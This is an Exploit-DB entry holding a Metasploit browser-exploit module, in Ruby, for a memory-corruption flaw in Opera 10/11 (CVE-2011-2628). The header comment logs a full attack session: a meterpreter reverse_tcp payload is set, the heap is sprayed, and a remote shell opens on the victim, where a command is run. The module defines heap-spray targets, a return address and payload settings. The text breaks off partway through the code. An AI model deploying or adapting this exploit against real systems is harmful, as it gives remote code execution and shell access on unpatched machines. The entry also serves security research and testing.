Exploit-DB #17936
Description: Opera 10/11 - Bad Nesting with Frameset Tag Memory Corruption (Metasploit)
Type: remote
Platform: windows
Date: 2011-10-06
Author: Jose A. Vazquez

Exploit:
###############################################################################################################
# Exploit for Opera 10/11 (bad nesting with frameset tag) Memory Corruption
#
# Vulnerability:
#
# Discovered: 2010-08-18
# Patched: 2011-05-18
# Tested on: v10.xx (v10.00, v10.01, v10.10, v10.50, v10.51, v10.52, v10.53, v10.54, v10.6, v10.61, v10.62 and v10.63)
#							v11.xx < v11.11 (v11.00, v11.01 and v11.10)
# Patched on: v11.11
#
# Exploit:
#
# Coded: 2010-09-23
# Last revision: 2011-09-30
#
# RCE on: v10.00, v10.50, v10.51, v10.52, v10.54, v10.60, v10.62, v11.00, v11.01 and v11.10*
# DoS on: v10.01, v10.10, v10.53, v10.61 and v10.63
#
# Notes:
#
#	1) DEP bypass: possible but unreliable.
#	2) Let me know if you improve this one ;)
#	3) Most of times, it won't work at first attempt and need crash-dialog interaction.
#
# Credits: Jose A. Vazquez of http://spa-s3c.blogspot.com
#
# Greets to: Ruben, Sinn3r, Metasploit Team, Corelan Team, etc
#
# Running against Opera v10.62...
#
#
#        =[ metasploit v4.0.1-dev [core:4.0 api:1.0]
# + -- --=[ 741 exploits - 378 auxiliary - 82 post
# + -- --=[ 228 payloads - 27 encoders - 8 nops
#        =[ svn r13801 updated 3 days ago (2011.09.27)
#
# msf > use windows/browser/opera_frameset_tag
# msf  exploit(opera_frameset_tag) > set payload windows/meterpreter/reverse_tcp
# payload => windows/meterpreter/reverse_tcp
# msf  exploit(opera_frameset_tag) > set LHOST 192.168.1.103
# LHOST => 192.168.1.103
# msf  exploit(opera_frameset_tag) > exploit
# [*] Exploit running as background job.
#
# [*] Started reverse handler on 192.168.1.103:4444
# msf  exploit(opera_frameset_tag) >
# [*] Using URL: http://0.0.0.0:8080/sUpFmezLW6jS
# [*]  Local IP: http://192.168.1.103:8080/sUpFmezLW6jS
# [*] Server started.
# [*] Sending Opera 10/11 (bad nesting with frameset tag) Memory Corruption to 192.168.1.104:1185 (target: Opera Browser (v10.6x - v11.xx) / Windows XP SP3 (DEP-default))
# [*] Sending stage 1 (Spraying the heap)
# [*] Sending stage 2 (Triggering the vulnerability)
# [*] Sending stage 2 (Triggering the vulnerability)
# [*] Sending stage 2 (Triggering the vulnerability)
# [*] Sending stage (752128 bytes) to 192.168.1.104
# [*] Meterpreter session 1 opened (192.168.1.103:4444 -> 192.168.1.104:1190) at 2011-09-30 19:23:28 +0200
# Interrupt: use the 'exit' command to quit
# msf  exploit(opera_frameset_tag) > sessions
#
# Active sessions
# ===============
#
#   Id  Type                   Information                              Connection
#   --  ----                   -----------                              ----------
#   1   meterpreter x86/win32  0XDE1-A39ED4C12\0xde1 @ 0XDE1-A39ED4C12  192.168.1.103:4444 -> 192.168.1.104:1190
#
# msf  exploit(opera_frameset_tag) > sessions -i 1
# [*] Starting interaction with 1...
#
# meterpreter > getuid
# Server username: 0XDE1-A39ED4C12\0xde1
# meterpreter > execute -f  calc.exe
# Process 1336 created.
# meterpreter > exit
# [*] Shutting down Meterpreter...
# msf  exploit(opera_frameset_tag) >
#
################################################################################################################

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	
	def initialize(info = {})
	
		super(update_info(info,
			'Name'           => 'Opera 10/11 (bad nesting with frameset tag) Memory Corruption',
			'Description'    => %q{
			
				This module exploits a vulnerability in the nesting of frameset and iframe tags as implemented within 
				Opera Browser. A memory corruption is triggered and some pointers got corrupted with invalid addresses. 
				Successfully exploiting leads to remote code execution or denial of service condition under Windows XP 
				SP3 (DEP = off).
				
				Note than most of cases, it won't work at first attempt and need crash-dialog interaction. 
				Read the last reference for further details.
				
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Jose A. Vazquez'
				],
			'Version'        => '$Revision: 0011 $',
			'References'     =>
				[
					['CVE', '2011-2628'],
					['OSVDB', '72406'],
					['BID', '47906'],
					['URL', 'http://www.opera.com/support/kb/view/992/'],
					['URL', 'http://www.beyondsecurity.com/ssd.html'],
					['URL', 'http://spa-s3c.blogspot.com/2011/05/spas3c-sv-004opera-browser-1111.html'],
					['URL', 'http://spa-s3c.blogspot.com/2011/09/spas3c-sv-004reliability-tests-ssd.html']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC'          => 'process',
					'HTTP::compression' => 'gzip',
					'HTTP::chunked'     => true
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
					'Compat'   =>
						{
							'ConnectionType' => '-find',
						},
					'StackAdjustment' => -3500
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Automatic
					[ 'Automatic',
						{}
					],
					
					# Opera > v10.54 ~ spray of 350 MB
					[ 'Opera Browser (v10.6x - v11.xx) / Windows XP SP3 (DEP-default)',  
						{
							'SizeofSpray' => 700,
							'Ret' => 0x0c0c0c0c
						}
					],
					
					# Opera <= v10.54 ~ spray of 250 MB
					[ 'Opera Browser (v10.50 - v10.54) / Windows XP SP3 (DEP-default)',  
						{
							'SizeofSpray' => 500,
							'Ret' => 0x0c0c0c0c
						}
					],
					
					# Opera < v10.50 doesn't get crashed with previous method and it needs this one.
					[ 'Opera Browser (v10.00 - v10.10) / Windows XP SP3 (DEP-default)',  
						{
							'SizeofSpray' => 500,
							'Ret' => 0x0c0c0c0c
						}
					]
				],
			'DisclosureDate' => '5 October 2011',
			'DefaultTarget'  => 0))
			
	end
	
	#I don't know if Msf::Exploit::Remote::BrowserAutopwn works, but I'm going to include my own auto-target selection 
	
	def automatic